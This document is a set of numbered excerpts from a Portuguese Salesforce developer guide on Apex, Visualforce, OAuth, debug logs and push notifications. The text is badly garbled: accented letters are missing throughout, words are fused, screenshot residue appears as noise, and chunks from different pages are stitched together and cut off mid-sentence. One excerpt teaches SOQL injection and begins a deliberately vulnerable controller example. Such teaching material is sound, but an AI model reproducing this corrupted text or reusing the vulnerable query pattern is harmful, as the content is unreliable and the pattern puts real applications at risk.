515. te gt Clear Test Data Limpar dados de teste Quando voc edita uma classe a cobertura de c digo da classe apagada at que voc execute os testes novamente Pode se exibir a cobertura de c digo em v rios locais no Console do desenvolvedor Aprimorar o Salesforce com c digo Guia do usu rio Executando testes no console do desenvolvedor 297 e Aguia Tests Testes inclui um painel Overall Code Coverage Cobertura de c digo geral que exibe a porcentagem de cobertura do c digo para cada classe do Apex na sua organiza o que foi inclu da em uma execu o de teste Tamb m exibe a porcentagem global e Clique duas vezes na execu o de teste conclu da para abrir a exibi o Resultados de teste que mostra a classe testada o m todo testado a dura o o resultado ignorar aprovar ou reprovar e uma mensagem de erro opcional Se o teste falhar a coluna Rastreamento de pilha mostra o m todo e o n mero da linha em que o teste falhou e Para visualizar a cobertura do c digo linha por linha para uma classe do Apex abra a classe O menu Cobertura do c digo incluir uma ou mais das seguintes op es dependendo dos testes implantados Nenhum All Tests Todos os testes A porcentagem de cobertura do c digo de todas as execu es de teste className methodName A porcentagem de cobertura de c digo de um m todo executado durante uma execu o de teste As linhas de c digo cobertas por testes est o em azu
516. te com o c digo de erro insucesso imediato Nota Essa op o n o est dispon vel para Comunidades code challenge Especifica o valor de hash SHA256 do valor de code verifier na solicita o de token para ajudar a evitar ataques de intercepta o de c digo de autoriza o O valor tamb m deve ser codificado uma vez em base64url conforme definido aqui https tools ietf org html rfc4648 section 5 Esse par metro necess rio apenas se um par metro code verifier especificado na solicita o de token Seovalorde code challenge for inclu do na solicita o de autoriza o e um valor de code verifier for inclu do na solicita o de token o Salesforce comparar code challenge e code verifier Se code challenge for inv lido ou n o corresponder haver falha de login com o c digo deerro invalid request Seovalorde code challenge for inclu do na solicita o de autoriza o mas um valor de code verifier n o for inclu do na solicita o de token haver falha de login com o c digo deerro invalid grant display Altera o tipo de exibi o das p ginas de login e de autoriza o Esse par metro opcional Os nicos valores suportados pelo Salesforce s o p gina Tela de autoriza o de p gina inteira Esse ser o valor padr o se nenhum for especificado pop up Caixa de di logo compacta otimizada para modernas janelas pop up do navegador da web Guia do usu rio Integra o d
517. tem formata o especial na Ul selecione Link padr o no grupo Pode haver apenas um link padr o em um grupo Opcional Para exibir um di logo de confirma o ao usu rio antes da execu o do link de a o selecione Confirma o necess ria Insiraa Posi o relativa do link de a o dentro dos grupos de links de a o instanciados a partir deste modelo A primeira posi o 0 Guia do usu rio Integra o de aplicativos com o Salesforce 149 Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 150 18 Insiraa Legenda de r tulo Esse valor a legenda de um conjunto de r tulos de UI para exibir referente a estes status NewStatus PendingStatus SuccessfulStatus FailedStatus Por exemplo o conjunto Publicar cont m estes r tulos Publica o Publica o pendente Publicado Falha na publica o Esta imagem mostra um link de a o com a legenda de r tulo Publica o quando o valor do status SuccessfulStatus Pam Jones 13m ago Click to post a feed Item Posted Performed by Pam Jones 1 Like Write a comment 19 Opcional Se nenhum dos valores Legenda de r tulo for relevante para o link de a o defina Legenda de r tulo 20 21 como Nenhum e insira um valor no campo R tulo Os links de a o possuem quatro status NewStatus PendingStatus SuccessStatus e FailedStatus Estas strings s o adicionadas ao r tu
518. tentDocument e Nota n o poss vel criar um acionador na interface com o usu rio do Salesforce Para esses objetos crie um acionador usando ferramentas de desenvolvimento como o Console do desenvolvedor ou o IDE do Force com Como op o tamb m se pode usar a API de metadados Na lista Acionadores clique em Novo Clique em Configura es da vers o para especificar a vers o do Apex e a API usada com esse acionador Se sua organiza o tiver instalado pacotes gerenciados pelo AppExchange voc tamb m poder especificar qual vers o de cada pacote gerenciado dever ser utilizada com esse acionador Use os valores padr o para todas as vers es Isso associa o acionador com a Guia do usu rio Componentes do Lightning Apex Visualforce 51 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Performance Unlimited Developer Enterprise e Database com Objetos padr o campanhas casos e emails n o est o dispon veis no Database com PERMISS ES DO USU RIO Para definir acionadores do Apex Apex do autor vers o mais recente do Apex e da API al m de a cada pacote gerenciado Voc pode especificar uma vers o mais antiga de um pacote gerenciado caso queira acessar os componentes ou funcionalidades diferentes da vers o do pacote mais recente Clique em Acionador do Apex e selecione a caixa de sele o Ativo se o acionador deve ser compilado e ativad
519. terminado objeto personalizado poss vel associar essas classes a um objeto personalizado em sua p gina de detalhes e execut las caso um bloqueio impe a o Apex de conceder acesso ao usu rio conforme definido pela l gica do aplicativo Os rec lculos de compartilhamento do Apex tamb m s o teis para resolver problemas de visibilidade gerados por erros de codifica o Por exemplo se o desenvolvedor corrigir um erro de codifica o que impedia os usu rios de acessar os registros que deveriam ver a corre o poder afetar apenas os registros criados ap s a atualiza o do c digo Para garantir que a corre o tamb m seja aplicada aos registros existentes o desenvolvedor pode executar um rec lculo de compartilhamento do Apex para validar o compartilhamento em todos os registros Voc pode executar os rec lculos de compartilhamento do Apex em uma p gina de detalhes de um objeto personalizado Voc tamb m pode execut los de forma program tica usando o m todo Database executeBatch Al m disso o Salesforce executa automaticamente as classes de rec lculo do Apex definidas para um objeto personalizado sempre que atualizado o n vel de acesso padr o de compartilhamento de um objeto personalizado em toda a organiza o Nota O Salesforce recalcula automaticamente o compartilhamento de todos os registros de um objeto quando alterado seu n vel de acesso padr o de compartilhamento em toda a organiza o O rec lculo
520. tes podem ser controlados pela mesma l gica usada em p ginas padr o do Salesforce ou os desenvolvedores podem associar sua pr pria l gica com um controlador personalizado ou escrito em Apex Nota Este lan amento cont m uma vers o beta do Visualforce para Lightning Experience com qualidade de produ o mas com limita es conhecidas CONSULTE TAMB M Definindo p ginas do Visualforce O que um componente personalizado http www salesforce com us developer docs pages index htm Visualforce para Lightning Experience Beta Este lan amento cont m uma vers o beta do Visualforce para Lightning Experience com qualidade de produ o mas com limita es conhecidas O Visualforce em si permanece geralmente dispon vel apenas o uso das p ginas do Visualforce com o Lightning Experience ativado que considerado beta EDI ES Dispon vel em Salesforce Classic Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer Aprimorar o Salesforce com c digo Definir p ginas do Visualforce Definindo p ginas do Visualforce poss vel criar p ginas do Visualforce com o modo de desenvolvimento do Visualforce ou com a cria o de p ginas em Configura o Para criar uma p gina usando a ferramenta de corre o r pida dispon vel no modo de desenvolvimento do Visualforce 1 No navegador digite um URL no seguinte fo
521. the same email address Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce TIO an exception will be thrown and the catch statement will be called try Contact vCon SELECT Id Name Email FROM Contact WHERE Email email fromAddress LIMIT 1 Add a new Task to the contact record we just found above newTask add new Task Description myPlainText Priority Normal Status Inbound Email Subject email subject IsReminderSet true ReminderDateTime System now 1 Whold vCon Id Insert the new Task insert newTask System debug New Task Object newTask If an exception occurs when the query accesses the contact record a QueryException is called The exception is written to the Apex debug log catch QueryException e System debug Query Issue e Set the result to true No need to send an email back to the user with an error message result success true Return the result for the Apex Email Service return result Exemplo 2 Administrar emails ndo inscritos As empresas que enviam emails de marketing aos clientes atuais e potenciais precisam dispor de uma maneira para que os destinat rios possam cancelar a inscri o A seguir veja um exemplo de como um servi o de email pode processar solicita es de cancelamento de inscri o O c dig
522. tida para esta identidade id do usu rio oO ID do usu rio do Salesforce nome do usu rio nome do usuario do Salesforce id da organiza o 0O ID da organiza o do Salesforce apelido O apelido na comunidade do usu rio consultado nome de exibi o O nome de exibi o nome completo do usu rio consultado email O endere o de email do usu rio consultado email verified indica se a verifica o de email da organiza o est ativada verdadeiro ou n o falso first name O nome do usu rio last name O sobrenome do usu rio timezone O fuso hor rio das configura es do usu rio fotos Um mapa de URLs para as imagens do perfil do usu rio Nota O acesso a esses URLs requer uma chave de acesso Consulte Usando a chave de acesso na p gina 228 imagem miniatura addr_street A rua especificada no endere o das configura es do usu rio Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 232 e addr city A cidade especificada no endere o das configura es do usu rio e addr state O estado especificado no endere o das configura es do usu rio e addr country O pa s especificado no endere o das configura es do usu rio e addr zip O CEP ou c digo postal especificado no endere o das configura es do usu rio e mobile phone O n mero de celular nas configura es do usu rio e mobile phone verified O us
523. tifica o longa demais Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 283 Nome do evento Campos ou informa es registradas com o Categoria N vel evento registrada registrado PUSH NOTIFICATION NO DEVICES Namespace do aplicativo nome do aplicativo C digo do DEPURAR Esse evento ocorre quando nenhum dos usu rios para Apex os quais estamos tentando enviar notifica es tem dispositivos registrados PUSH NOTIFICATION NOT ENABLED C digo do INFORMA ES Apex Esse evento ocorre quando as notifica es por push n o est o ativadas na sua organiza o sa PUSH NOTIFICATION SENT Namespace do aplicativo nome do aplicativo tipo C digo do DEPURAR de servi o Apple ou Android GCM ID do usu rio Apex dispositivo carga substring Este evento registra que uma notifica o foi aceita para o envio N o garantimos a entrega da notifica o PUSH TRACE FLAGS Numero da linha o ID do Force com da classe ou do Sistema INFORMA ES acionador que tem seus n veis de registro definidos e acima e que est saindo do escopo o nome dessa classe ou acionador e as configura es de n vel de registro em vigor no momento ap s entrada nesse escopo QUERY MORE BEGIN mero da linha BD INFORMA ES e acima QUERY MORE END mero da linha BD INFORMA ES e acima QUERY MORE ITER
524. tiva selecione o nome da perspectiva e clique em Delete Excluir e Para criar uma perspectiva personalidade consulte Criando perspectivas personalizadas no inspetor de registro As seguintes perspectivas s o predefinidas e All Todos padr o Execution Tree Performance Tree Timestamp Event Details Count Unit Duration Heap 11 04 55 086 EXECUTION ST 211 0 Source for _ui common apex debug 3S Nuifcommony 31 48 2534 CODE UNIT ST EXTERNAL execute BO exeute 31 43 2534 11 04 55 086 VARIABLE SCO i lcharactersjuist lt m J y 11 04 55 108 HEAP ALLOCATE EXTERNAL Bytes 7 Jump Open Unit es 11 04 55 108 STATEMENT EX 1 Vari Value 11 04 55 108 STATEMENT EX 1 P debug 0 07 o a lt empty gt None in scope at line 11 04 55 108 HEAP_ALLOCATE 1 Bytes 4 debug 0 07 o ocorra debug 0 07 0 lg debug 0 09 o This Frame Executable C Debug Only Filter Save Order Limits Timeline Executed Units _ What Name Sum Ava Max Min Count Heap Query Type Sum rows Avg rows Max rows Min row Method size 0 34 0 07 0 12 0 05 5 0 n a n a n a n a n a Method debug 0 66 0 08 0 11 0 07 8 0 n a n a n a n a nja Method execute a 3143 31 43 31 43 31 43 1 2534 n a n a n a n a n a Method uifcommo 31 48 31 48 31 48 31 48 1 0 n a n a n a nfa n a Method add 0 39 0 10 0 11 0 09 4 0 n a n a n a n a n a Method 0 36 0 36 0 36 0 36 i 0 n a n a n a n a n a Show Meth
525. to 005 T lt thumbnail gt lt photos gt lt urls gt lt enterprise gt http nal salesforce com services Soap c version 00Dx0000001T0zk lt enterprise gt lt metadata gt http nal salesforce com services Soap m version 00Dx0000001T0zk lt metadata gt lt partner gt http nal salesforce com services Soap u version 00Dx0000001T0zk lt partner gt lt rest gt http nal salesforce com services data v version Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 234 lt rest gt lt sobjects gt http nal salesforce com services data v version sobjects lt sobjects gt lt search gt http nal salesforce com services data v version search lt search gt lt query gt http nal salesforce com services data v version query lt query gt lt profile gt http nal salesforce com 005x0000001S2b9 lt profile gt lt urls gt lt active gt true lt active gt lt user type gt STANDARD lt user type gt lt language gt en US lt language gt lt locale gt en US lt locale gt lt utcOffset gt 28800000 lt utcOffset gt lt last modified date gt 2010 06 28T20 54 09 0002 lt last modified date gt lt user gt A seguir h uma resposta no formato JSON id http nal salesforce com id 00Dx0000001T0zk 005x0000001S2b9 asserted _user true user id 005x0000001S2b9 organization id 00Dx0000001T0zk nick name adminl 277757
526. to estiverem autenticados Inje o SOQL Em outras linguagens de programa o a falha anterior conhecida como inje o SQL O Apex n o usa SQL mas usa sua pr pria linguagem de consulta a banco de dados SOQL A SOQL muito mais simples e com funcionalidades mais limitadas que a SQL Por isso OS riscos S o muito menores para a inje o SOQL que para a inje o SQL mas os ataques s o quase id nticos tradicional inje o SQL Em resumo a inje o SQL SOQL envolve pegar a entrada fornecida pelo usu rio e usar esses valores em uma consulta SOQL din mica Se a entrada n o for validada ela poder incluir comandos SOQL que de fato modificam a instru o SOQL e assim enganar o aplicativo para executar comandos n o desejados Para obter mais informa es sobre ataques de inje o SQL veja e http Awww owasp org index php SQL injection e http Awww owasp org index php Blind SQL Injection e http www owasp org index php Guide to SQL Injection e http Awww google com search q sgl injection Vulnerabilidade inje o SOQL no Apex Veja abaixo um exemplo simples de um c digo do Apex e do Visualforce vulner vel inje o SOQL lt apex page controller S0QLController gt lt apex form gt lt apex outputText value Enter Name gt lt apex inputText value name gt lt apex commandButton value Query action query gt lt apex form gt lt apex page gt public class SOQLContro
527. tos de verifica o no c digo do Apex ar solucionar um problema de tempo de execu o informa es sobre o estado de uma vari vel ou o estado do banco de dados fina os pontos de verifica o e execute seu c digo e ent o acesse a guia a Checkpoints Pontos de verifica o ecione um ponto de verifica o e clique em Edit Properties Editar propriedades ecione SOQL ou Apex Code C digo do Apex Para executar o c digo de diagn stico sem gerar um heap dump no ponto de verifica o desmarque Dump Heap Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 256 Execution Action Properties x Dump Heap v Action Script Type None SOQL Apex Code Action Script select id name from contact Cancel OK 4 Insira SOQL ou c digo do Apex na caixa Action Script Script da a o e clique em OK Nota N o poss vel fazer refer ncia a objetos locais pois um bloco an nimo uma nova estrutura de pilha Fa a refer ncia a objetos est ticos ou crie novos objetos Tamb m n o poss vel usar vari veis bind em consultas SOQL usadas em sobreposi es Os resultados do c digo sobreposto ir o aparecer em uma guia Query Results Resultados da consulta ou Apex Execution Results Resultados de execu o do Apex separada no Inspetor de ponto de verifica o Para detalhes sobre como navegar nos resultados da consulta veja Editor de consulta Nota
528. u rio Registros de depura o 278 A tabela a seguir lista os tipos de evento que est o registrados quais campos ou outras informa es s o registradas com cada evento como tamb m qual a combina o do n vel e categoria do registro provocam o registro do evento Nome do evento BULK HEAP ALLOCATE CALLOUT REQUEST CALLOUT RESPONSE COD NIT FINISHED Gl C COD Gl UNIT STARTED CONSTRUCTOR ENTRY CONSTRUCTOR EXIT CUMULATIVE LIMIT USAGE CUMULATIVE LIMIT USAGE END CUMULATIVE PROFILING CUMULATIVE PROFILING BEGIN CUMULATIVE PROFILING END Campos ou informa es registradas com o Categoria evento registrada N mero de bytes alocados C digo do Apex mero da linha e cabe alhos da solicita o Callout mero da linha e corpo da resposta Callout enhum C digo do Apex umero da linha e nome da unidade do c digo como C digo do MyTrigger no evento do acionador Apex da Conta em BeforeInsert para new mero da linha ID de classe do Apex e a string C digo do lt init gt comostipos de par metros se houver Apex entre os par nteses mero da linha eastring lt init gt comostipos C digo do de par metros se houver entre os par nteses Apex enhum Perfil do Apex enhum Perfil do Apex enhum Perfil do Apex enhum Perfil do A
529. u rio confirmou que o n mero de celular v lido Consulte a descri o do campo Usu rio m vel e status o status do Chatter atual do usu rio data de cria oidata e hora xsd valor da data de cria o da ltima postagem pelo usu rio por exemplo 2010 05 08T05 17 51 000Z corpo o corpo da postagem e urls um mapa que cont m diversos pontos finais da API e que pode ser usado com o usu rio especificado Nota O acesso aos pontos finais REST requer uma chave de acesso Consulte Usando a chave de acesso na p gina 228 corporativo SOAP metadados SOAP parceiro SOAP rest REST sobjects REST pesquisa REST consulta REST recente REST perfil feeds Chatter feed items Chatter groups Chatter users Chatter dom nio personalizado Esse valor ser omitido se a organiza o n o tiver um dominio personalizado configurado e propagado e ativo Um booleano que especifica se o usu rio consultado est ativo e tipo de usu rio tipo do usu rio consultado e idioma O idioma do usu rio consultado e localidade A localidade do usu rio consultado e utcOffset O deslocamento do UTC do fuso hor rio do usu rio consultado em milissegundos e data da ltima modifica o data e hora xsd formato da ltima modifica o do usu rio por exemplo 2010 06 28T20 54 09 000Z e is app installed Ovalor verdadeiro quando o aplicativo conectado est instalado na organi
530. u rios autenticados retornar verdadeiro seasenha do usu rio que estiver logado no momento estiver expirada Para usu rios n o autenticados retorna falso Retorna o valor do campo Contato do site parao site atual Retorna o prefixo do caminho do URL do site atual Por exemplo seo URL do site myco force com partners partners o prefixo do caminho Retorna nulo seo prefixo n o definido Se a solicita o atual n o uma solicita o de site esse campo retorna uma string vazia Retorna o nome do modelo associado ao site atual ser nulo o modelo padr o se nenhum modelo tiver sido selecionado Retorna uma mensagem de erro da p gina atual se essa for uma p gina de erro designada para o site e existir um erro Caso contr rio retorna uma string vazia Retorna uma descri o de erro da p gina atual se essa for uma p gina de erro designada para o site e existir um erro Caso contr rio retorna uma string vazia O c digo de rastreamento associado ao seu site Esse c digo pode ser usado por servi os como o Google Analytics para controlar dados de solicita es de p gina para o site Retorna um URL de base para o site atual que n o usa um subdom nio de Force com O URL retornado usa o mesmo protocolo HTTP ou HTTPS da solicita o atual caso pelo menos um URL personalizado que n o seja Force com e suporte HTTPS exista no site O valor retornado nunca termina em um caractere Se todos os URLs personaliz
531. ua pr pria imagem de logotipo clicando em Carregar imagem de logotipo Selecione uma imagem do sistema de arquivos local que preencha os requisitos de tamanho do logotipo Quando o carregamento bem sucedido o URL do logotipo aparece no campo URL da imagem do logotipo Caso contr rio certifique se de que o logotipo preencha os requisitos de tamanho e Voc pode selecionar um logotipo dentre as amostras fornecidas clicando em Escolher um de nossos logotipos de amostra Os logotipos dos aplicativos da Salesforce dos aplicativos de terceiros e dos organismos de padroniza o est o entre os dispon veis Clique no logotipo desejado e em seguida copie e cole o URL exibido no campo URL da imagem do logotipo e Voc pode usar um logotipo hospedado publicamente em servidores do Salesforce carregando uma imagem que preenche os requisitos de tamanho de arquivo 125 pixels de altura ou 200 pixels de altura no m ximo no formato GIF JPG ou PNG com um tamanho m ximo de 100 KB como um documento usando a guia Documentos Em seguida exiba a imagem para obter o URL einsirao URL no campo URL da imagem do logotipo Insira um URL de icone para exibir um logotipo na p gina de aprova o do OAuth que os usu rios veem quando usam o aplicativo pela primeira vez O logotipo deve ter 16 pixels de altura e largura com um plano de fundo branco Logotipos de amostra tamb m est o dispon veis para cones poss vel selecionar um cone entre as amostras
532. ublinhados e caracteres alfanum ricos e deve ser exclusivo na sua organiza o Deve come ar com uma letra n o incluir espa os n o terminar com sublinhado e n o conter dois sublinhados consecutivos Determina como voc planeja usar o s control HTML Selecione esta op o se quiser inserir o conte do do s control na rea Conte do URL Selecione esta op o se quiser inserir o link ou o URL de um site externo na rea Conte do Snippet Snippets s o s controls criados para serem inclu dos em outros s controls Selecione esta op o se quiser inserir o conte do do snippet do s control na rea Conte do O texto que descreve o s control exibido apenas para administradores Guia do usu rio Componentes do Lightning Apex Visualforce 122 EDICOES Disponivel em Salesforce Classic Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar editar e excluir custom s controls e Personalizar aplicativo EDI ES Dispon vel em Salesforce Classic Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 123 Nome do atributo Descri o Conte do Insira o conte do ou a origem do s control Voc pode inserir at 1 milh o de caracter
533. ubscribe request result success true return result private class unsubscribeTest The following test methods provide adequate code coverag for the unsubscribe email class There are two methods one that does the testing with a valid unsubcribe in the subject lin and one the does not contain unsubscribe in the subject line static testMethod void testUnsubscribe Create a new email and envelope object Messaging InboundEmail email new Messaging InboundEmail Messaging InboundEnvelop nv new Messaging InboundEnvelope Create a new test lead and insert it in the test method Lead 1 new lead firstName John lastName Smith Company Salesforce Email user acme com HasOptedOutOfEmail false insert 1 Create a new test contact and insert it in the test method Contact c new Contact firstName Jjohn lastName smith Email user acme com HasOptedOutOfEmail false insert c Test with the subject that matches the unsubscribe statement Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 113 email subject test unsubscribe test env fromAddress user acme com Call the class and test it with the data in the testMethod unsubscribe unsubscribeObj new unsubscribe unsubscribeObj handleInboundEmail email env static testMeth
534. ubstitui o de produto Voc talvez tenha seu pr prio c digo que prefere usar para adicionar produtos a oportunidades em vez da p gina padr o Use a amostra de s control abaixo para passar valores de dados usando os campos de mesclagem de uma p gina de detalhes de registro para um s control personalizado que substitui o bot o Adicionar produto na lista relacionada Produtos de uma oportunidade Esse tipo de substitui o mostra como os bot es de lista relacionada podem conter campos de mesclagem de um objeto mestre al m do detalhe Por exemplo o c digo abaixo cont m campos de mesclagem de oportunidade que est no lado mestre de um relacionamento entre mestre e detalhes com produtos da oportunidade lt html gt lt head gt lt script type text javascript src soap ajax 13 0 connection js gt lt script gt lt head gt lt body gt lt b gt Opportunity Info lt b gt lt br gt Opportunity ID Opportunity Id lt br gt Opportunity Name Opportunity Name lt br gt Opportunity Record Type Opportunity RecordType lt br gt lt body gt lt html gt Para implementar essa funcionalidade crie um s control HTML com o conte do acima inserindo o c digo no espa o fornecido Em seguida substitua a a o de adi o de produto no objeto de produtos da oportunidade usando o s control Este exemplo pressup e o uso de tipos de registro em oportunidades Nota Este exemplo n o inclui o c digo para a
535. ue foi exclu do o Salesforce limpar o valor do campo por padr o Voc tamb m pode como alternativa optar por evitar que registros sejam exclu dos se n o estiverem em um relacionamento de pesquisa e Seo acionador est ativo e Otexto do c digo do Apex contido no acionador Aprimorar o Salesforce com c digo Se um acionador fizer refer ncias a componentes nos pacotes gerenciados instalados como uma classe do Apex uma p gina do Visualforce um objeto personalizado e assim por diante a se o Configura es da vers o listar as vers es dos pacotes gerenciados que cont m os componentes mencionados Se o acionador estiver contido em um pacote gerenciado instalado o Pacote instalado indicar o nome do pacote A guia Filtros do registro exibe as categorias do registro de depura o e os n vel do n vel de depura o que voc pode definir para o acionador Para obter mais informa es consulte Filtragem do registro de depura o para classes do Apex e acionadores do Apex na p gina 289 Criar uma classe do Apex de um WSDL Uma classe do Apex pode ser gerada automaticamente de um documento WSDL armazenado em EDICOES um disco r gido local ou na rede A cria o de uma classe consumindo um documento WSDL permite que os desenvolvedores fa am callouts para o servi o externo da Web no Apex Dispon vel em Salesforce Nota Use as Mensagens de sa da para manipular solu es de integra o quando for p
536. ue o usu rio executou actionLinkGroupId OID do grupo de links de a o que cont m o link de a o que o usu rio executou communityId O ID da comunidade em que o usu rio executou o link de a o O valor da sua organiza o interna a chave vazia 000000000000000000 communityUr1 O URL da comunidade em que o usu rio executou o link de a o O valor da sua organiza o interna a string vazia orgId O ID da organiza o em que o usu rio executou o link de a o userId O ID do usu rio que executou o link de a o Por exemplo suponha que voc trabalha para uma empresa chamada Survey Example e cria um aplicativo para o Salesforce AppExchange chamado Survey Example para Salesforce A Empresa A tem o Survey Example para Salesforce instalado Vamos imaginar que algu m da empresa A acessa surveyexample com e faz uma pesquisa O c digo do Survey Example usa a API REST do Chatter para criar um item de feed na organiza o Salesforce da Empresa A com o texto de corpo Fa a uma pesquisa e um link de a o com o r tulo OK O link de a o UT leva o usu rio do Salesforce a uma p gina da web em surveyexample com para fazer uma pesquisa Se voc incluir uma vari vel de contexto userIdj em Corpo da solicita o HTTP ouno URL da a o referente ao link da a o quando um usu rio clicar no link de a o no feed o Salesforce enviar o ID do usu rio que clicou na solicita o HTTP feita
537. ue uma notifica o seja enviada Se voc alterar o per odo de tempo o novo n o entrar em vigor at a pr xima modifica o do per odo de tempo existente Por exemplo vamos supor que voc tenha definido o per odo de tempo para enviar notifica es a cada hora Ent o s 16h05 voc define o per odo de tempo para enviar notifica es a cada 24 horas A ltima notifica o do per odo de tempo anterior enviada s 17h A notifica o seguinte seria enviada s 17h do dia seguinte CONSULTE TAMB M Exibindo notifica es de uso da API Notifica es de uso da API Guia do usu rio Integra o de aplicativos com o Salesforce 162 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Enterprise Performance Unlimited Developer e Database com PERMISS ES DO USU RIO Para exibir criar editar ou excluir notifica es e API ativada EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Enterprise Performance Unlimited Developer e Database com PERMISS ES DO USU RIO Para exibir criar editar ou excluir notifica es e API ativada Aprimorar o Salesforce com c digo Aplicativos de acesso remoto Vis o geral do aplicativo de acesso remoto Nota Aplicativos de acesso remoto foram substitu dos por aplicativos conectados Use aplicativos conectados em qualquer aplicativo
538. um Mac e n o localizar as barras de rolagem nos pain is do Inspetor de registro abra System Preferences Prefer ncias do sistema gt General Geral e defina Mostrar barras de rolagem para Sempre CONSULTE TAMB M Menu Depurar Guia Registros Gerenciando perspectivas no inspetor de registro Criando perspectivas personalizadas no inspetor de registro Guia do usu rio Depura o com o uso do console do desenvolvedor 264 Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 265 Exemplos de uso do inspetor de registros Confira aqui algumas maneiras de usar as ferramentas no Inspetor de registro para diagnosticar e resolver os problemas e Rastreando o caminho da execu o e Exibindo declara es System Debug e Atualizando o c digo fonte e Monitorando DML em uma solicita o e Avaliando o desempenho de uma p gina do Visualforce e Exibindo um processo complexo Rastreando o caminho da execu o Cen rio Voc abriu um registro de depura o no Inspetor de registro Quais s o algumas das formas de percorrer as informa es 1 No painel de Registro de execu o selecione Executable Execut vel para filtrar todas as etapas n o execut veis incluindo informa es de limites cumulativos 2 No painel Vis o geral da execu o clique na guia Unidades executadas para exibir os valores agregados de tipos diferentes de opera es na solicita o Por
539. uma lista de todos os dispositivos registrados no momento sob o nome de usu rio em quest o 2 Como op o em Alerta insira uma mensagem de alerta ou dicion rio de acordo com as especifica es da Apple 3 Em Emblema insira um n mero de emblema ou O para indicar que n o h emblema 4 Em Som insira o nome de um arquivo de som no conjunto do aplicativo ou insira padr o para usar o som de alerta padr o do sistema 5 Como op o para usar uma carga personalizada insira o valor de JSON da carga no campo Carga personalizada 6 Clique em Enviar para enviar a notifica o por push de teste ou clique em Apagar para redefinir o formul rio CONSULTE TAMB M Testando as notifica es por push Enviar notifica es por push de teste para o GCM para Android Para executar um teste r pido da configura o da notifica o por push para o Google Cloud Messaging for Android GCM use a p gina Testar notifica es por push Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 186 Insira uma string de token de conex o no campo Destinat rio ou procure um destinat rio clicando em Pesquisar amp e selecione um dos resultados de pesquisa Por padr o a lista Resultados da pesquisa mostra os cinco dispositivos registrados mais recentemente no seu aplicativo conectado a Para localizar outros dispositivos insira um nome de usu rio na caixa de texto Pesquisar b Clique
540. uma string localizado por uma express o regular essa opera o tamb m poder vincular vari veis de grupo de express es regulares 1 2 etc provenientes da string de pesquisa localizada Por exemplo para substituir uma marca lt h1 gt por uma marca lt h2 gt e manter todos os atributos intactos na marca lt h1 gt original procure lt h1 s gt esubstitua por lt h2 1S 2 gt Ir para linha gt Este bot o permite destacar um n mero de linha especificado Se a linha n o estiver vis vel no momento o editor rolar para essa linha Desfazer e Refazer Use Desfazer para reverter uma a o de edi o e Refazer para recriar uma a o de edi o que foi desfeita Tamanho da fonte Guia do usu rio Componentes do Lightning Apex Visualforce 15 EDI ES Dispon vel em Salesforce Classic O Apex est dispon vel em Enterprise Performance Unlimited Developer e Database com Editions EDI ES Dispon vel em Salesforce Classic O Visualforce est dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para editar a marca o do Visualforce e Personalizar aplicativo Para editar controladores personalizados do Visualforce ou do Apex e Apex do autor Na lista suspensa selecione um tamanho de fonte para controlar o tamanho dos caracteres exibidos no editor Posi o
541. ura o total de cada chamada para debug Stack Tree Execution Tree Performance Tree Unit Duration 3 ui common ap 53 06 3 execute ano 53 00 E debug 1 02 E size 0 54 E add 0 47 0 10 Esse registro foi gerado a partir da janela Executar an nimo Chamadas para debug e outros m todos de outros locais no seu c digo s o agregados na unidade executada Cada se o no painel de rvore de pilha inclui estas informa es Coluna Descri o Escopo Regi o delimitada no processo como fluxo de trabalho uma classe ou DML Unidade Nome do item regi o Dura o Quantidade de tempo em milissegundos que o item demorou para ser executado Heap Quantidade de heap em bytes que o item usou ltera es N mero de vezes que o item foi chamado Pilha de execu o O painel Pilha de execu o cont m uma exibi o de baixo para cima do item selecionado atualmente no registro de depura o come ando com a chamada de n vel mais inferior seguida pela opera o que acionou aquela chamada e assim por diante Aprimorar o Salesforce com c digo Guia do usu rio Depura o com o uso do console do desenvolvedor 261 Execution Stack Unit Duration Heap debug 0 11 execute anony 53 00 2534 Registro de execu o O painel Registro de execu o cont m o registro de depura o do processo atual O registro de depura o cont m toda a a o ocorrida no processo como chamadas de m todo regras d
542. url URL que indica a inst ncia da organiza o do usu rio Neste exemplo a inst ncia nal https nal salesforce com Salesforce 220 id URL de identidade que pode ser usado para identificar o usu rio e tamb m para consulta de mais informa es sobre o usu rio Veja os URLs de identidade na p gina 23 0 signature Assinatura HMAC SHA256 com codifica o Base64 assinada com a chave privada do consumidor contendo o ID concatenadoe issued at Isso pode ser usado para verificar se o URL de identidade n o foi modificado desde que foi enviado pelo servidor emitido em Quando a assinatura foi criada Nota Nenhuma chave de atualiza o enviada com esta resposta A seguir est um exemplo de resposta id https login salesforce com id 00Dx0000000BV7z 005x0000001209P issued at 1278448832702 instance_url https nal salesforce com signature 0CmxinZir53Yex7nEOTD zMpvIWYGb bdJh6XfOH6EQ access token 00Dx0000000BV 7z ARSAQAxo09UEV 9ye6P kh8AlVOGomt9Czx9LjHNSSpwB ImbRcgKFmxOtvxjTrKWl Bear r E3DsleQz3z8jr3W7 VbWmEu4Q8TVGSTHxs token type Se ocorrer um problema durante esta etapa a resposta conter uma mensagem de erro com estas partes erro C digo do erro descri o do erro Descri o do erro com informa es adicionais tipo de resposta n o suportado tipo de resposta n o suportado id do cliente inv lidoidentifica
